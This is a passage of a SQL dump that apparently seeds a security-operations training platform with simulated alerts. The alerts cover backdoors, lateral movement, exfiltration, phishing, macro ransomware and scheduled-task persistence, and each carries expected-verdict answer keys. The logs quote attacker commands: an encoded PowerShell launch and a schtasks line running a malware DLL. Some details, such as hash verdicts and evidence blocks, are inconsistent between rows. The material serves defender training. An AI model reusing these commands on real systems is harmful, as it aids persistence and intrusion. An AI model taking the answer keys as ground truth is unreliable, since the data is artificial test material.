AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1574, 'Creation of Persistent Backdoor', 'high', 'System integrity monitoring', 'The attackers installed a persistent backdoor on the compromised system to maintain access even if the primary route is detected and blocked. This action was identified through integrity monitoring, indicating manipulation of system files and unauthorized network communication.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T03:45:27Z\",\"host_ip\":\"192.168.1.103\",\"detected_file\":\"C:\\\\Windows\\\\System32\\\\svcbackdoor.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user_account\":\"compromised_user\",\"process_id\":4567,\"action\":\"File creation and execution\",\"source_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"TCP\",\"log_type\":\"System Integrity\",\"alert_trigger\":\"Unusual file creation in critical directory\"}', '2026-03-15 19:15:32', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities and APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known backdoor executable used in multiple attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account shows signs of unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"host_ip\\\":\\\"192.168.1.103\\\",\\\"detected_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_account\\\":\\\"compromised_user\\\",\\\"process_id\\\":4567,\\\"action\\\":\\\"File creation and execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\",\\\"log_type\\\":\\\"System Integrity\\\",\\\"alert_trigger\\\":\\\"Unusual file creation in critical directory\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"host_ip\\\":\\\"192.168.1.103\\\",\\\"detected_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_account\\\":\\\"compromised_user\\\",\\\"process_id\\\":4567,\\\"action\\\":\\\"File creation and execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\",\\\"log_type\\\":\\\"System Integrity\\\",\\\"alert_trigger\\\":\\\"Unusual file creation in critical directory\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"host_ip\\\":\\\"192.168.1.103\\\",\\\"detected_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_account\\\":\\\"compromised_user\\\",\\\"process_id\\\":4567,\\\"action\\\":\\\"File creation and execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\",\\\"log_type\\\":\\\"System Integrity\\\",\\\"alert_trigger\\\":\\\"Unusual file creation in critical directory\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"host_ip\\\":\\\"192.168.1.103\\\",\\\"detected_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_account\\\":\\\"compromised_user\\\",\\\"process_id\\\":4567,\\\"action\\\":\\\"File creation and execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\",\\\"log_type\\\":\\\"System Integrity\\\",\\\"alert_trigger\\\":\\\"Unusual file creation in critical directory\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.590Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T03:45:27Z\\\",\\\"host_ip\\\":\\\"192.168.1.103\\\",\\\"detected_file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svcbackdoor.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user_account\\\":\\\"compromised_user\\\",\\\"process_id\\\":4567,\\\"action\\\":\\\"File creation and execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"TCP\\\",\\\"log_type\\\":\\\"System Integrity\\\",\\\"alert_trigger\\\":\\\"Unusual file creation in critical directory\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1575, 'Lateral Movement Across VMware ESXi Servers', 'high', 'Network traffic analysis', 'The attackers are utilizing their foothold to move laterally across the network, specifically targeting VMware ESXi servers to expand their access within the virtual environment. This is a sophisticated operation involving advanced techniques.', 'Lateral Movement', 'T1210', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.12\",\"protocol\":\"TCP\",\"destination_port\":443,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08\",\"username\":\"esxi_admin\",\"filename\":\"vmtools_update.sh\",\"action\":\"login_attempt\",\"status\":\"success\",\"indicator\":\"APT38\"}', '2026-03-15 19:15:32', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT38 IP used in past lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local VMware ESXi server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT38 malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"esxi_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Privileged account targeted during attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1576, 'Data Exfiltration to External Server', 'critical', 'Data loss prevention (DLP) systems', 'As a final step, the attackers exfiltrated critical data to an external server, preparing to leverage this information in their retro-styled leak site for extortion purposes. The DLP system detected a large volume of sensitive data being transferred to an unknown IP address.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 ', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.0.45\",\"destination_ip\":\"203.0.113.25\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"j.doe\",\"filename\":\"financial_report_2023.xlsx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"data_volume\":\"2GB\",\"alert_trigger\":\"DLP policy violation - Large data transfer to unknown IP\"}', '2026-03-15 19:15:32', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known data exfiltration campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"financial_report_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"File contains sensitive financial information.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malware associated with this hash.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Regular employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.596Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.25\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"DLP policy violation - Large data transfer to unknown IP\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.596Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.25\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"DLP policy violation - Large data transfer to unknown IP\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.596Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.25\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"DLP policy violation - Large data transfer to unknown IP\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.596Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.25\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"DLP policy violation - Large data transfer to unknown IP\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.596Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.25\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"j.doe\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"data_volume\\\":\\\"2GB\\\",\\\"alert_trigger\\\":\\\"DLP policy violation - Large data transfer to unknown IP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1577, 'Phishing Email Detected', 'high', 'Email Security Gateway Logs', 'A spear-phishing email targeting healthcare employees was detected. The email contained a malicious link aiming to harvest credentials and gain unauthorized access to the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:32:45Z\",\"source_ip\":\"203.0.113.50\",\"destination_ip\":\"10.1.2.3\",\"email_subject\":\"Urgent: Verify your account credentials\",\"email_from\":\"security-notice@legithealthcare.com\",\"email_to\":\"jdoe@healthcare-facility.com\",\"attachment\":\"Invoice_2023.pdf\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malicious_url\":\"http://malicious-login.com/verify\",\"detected_by\":\"Email Security Gateway\"}', '2026-03-15 19:15:50', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of healthcare facility.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"security-notice@legithealthcare.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email address used in recent phishing attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-login.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Threat Database\",\"verdict\":\"malicious\",\"details\":\"URL used for credential harvesting.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially malicious PDF files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.600Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1578, 'Malicious Macro Execution', 'critical', 'Endpoint Detection and Response (EDR)', 'A malicious macro was executed in a document attachment, deploying ransomware payload onto the system. This is step 2 in the operation, following credential compromise.', 'Execution', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"macro_execution\",\"device_id\":\"EDR-123456\",\"user\":\"j.doe@company.com\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.55\",\"document_name\":\"Quarterly_Report_Q3.docm\",\"macro_hash\":\"e9f8f88a5c8b9d3b9e6f1e4b7c3d2a1f\",\"ransomware_name\":\"NoEscape\",\"process_id\":4521,\"endpoint\":\"WIN-8PQEKC1ABCD\",\"action\":\"macro_enabled\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\Quarterly_Report_Q3.docm\"}', '2026-03-15 19:15:50', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with ransomware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e9f8f88a5c8b9d3b9e6f1e4b7c3d2a1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NoEscape ransomware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Quarterly_Report_Q3.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAnalysis\",\"verdict\":\"suspicious\",\"details\":\"Document file with macro execution log.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1579, 'Persistence via Scheduled Task', 'high', 'Windows Event Logs', 'NoEscape ransomware has set up a scheduled task to maintain persistence across system reboots, ensuring the malware remains active and undetected for long-term access.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"EventID\":4698,\"ProviderName\":\"Microsoft-Windows-TaskScheduler\",\"LogName\":\"Security\",\"RecordID\":1184523,\"TaskName\":\"\\\\Microsoft\\\\Windows\\\\NoEscape\\\\DailyCheck\",\"TaskContent\":\"schtasks.exe /create /tn \\\\Microsoft\\\\Windows\\\\NoEscape\\\\DailyCheck /tr \\\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Users\\\\Public\\\\Documents\\\\malware.dll,Execute\\\" /sc daily /st 14:00\",\"User\":\"SYSTEM\",\"Computer\":\"compromised-host.local\",\"IPAddress\":\"10.0.5.23\",\"Hash\":\"5d41402abc4b2a76b9719d911017c592\",\"ExternalAttackerIP\":\"203.0.113.45\"}', '2026-03-15 19:15:50', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known NoEscape ransomware DLL.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"LogName\\\":\\\"Security\\\",\\\"RecordID\\\":1184523,\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck\\\",\\\"TaskContent\\\":\\\"schtasks.exe /create /tn \\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\malware.dll,Execute\\\\\\\" /sc daily /st 14:00\\\",\\\"User\\\":\\\"SYSTEM\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"IPAddress\\\":\\\"10.0.5.23\\\",\\\"Hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"ExternalAttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"LogName\\\":\\\"Security\\\",\\\"RecordID\\\":1184523,\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck\\\",\\\"TaskContent\\\":\\\"schtasks.exe /create /tn \\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\malware.dll,Execute\\\\\\\" /sc daily /st 14:00\\\",\\\"User\\\":\\\"SYSTEM\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"IPAddress\\\":\\\"10.0.5.23\\\",\\\"Hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"ExternalAttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"LogName\\\":\\\"Security\\\",\\\"RecordID\\\":1184523,\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck\\\",\\\"TaskContent\\\":\\\"schtasks.exe /create /tn \\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\malware.dll,Execute\\\\\\\" /sc daily /st 14:00\\\",\\\"User\\\":\\\"SYSTEM\\\",\\\"Computer\\\":\\\"compromised-host.local\\\",\\\"IPAddress\\\":\\\"10.0.5.23\\\",\\\"Hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"ExternalAttackerIP\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.606Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"ProviderName\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"LogName\\\":\\\"Security\\\",\\\"RecordID\\\":1184523,\\\"TaskName\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck\\\",\\\"TaskContent\\\":\\\"schtasks.exe /create /tn \\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\NoEscape\\\\\\\\DailyCheck /tr \\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Documents\\\\\\\\malware.dll,Execute\\\\\\\" /sc daily /st 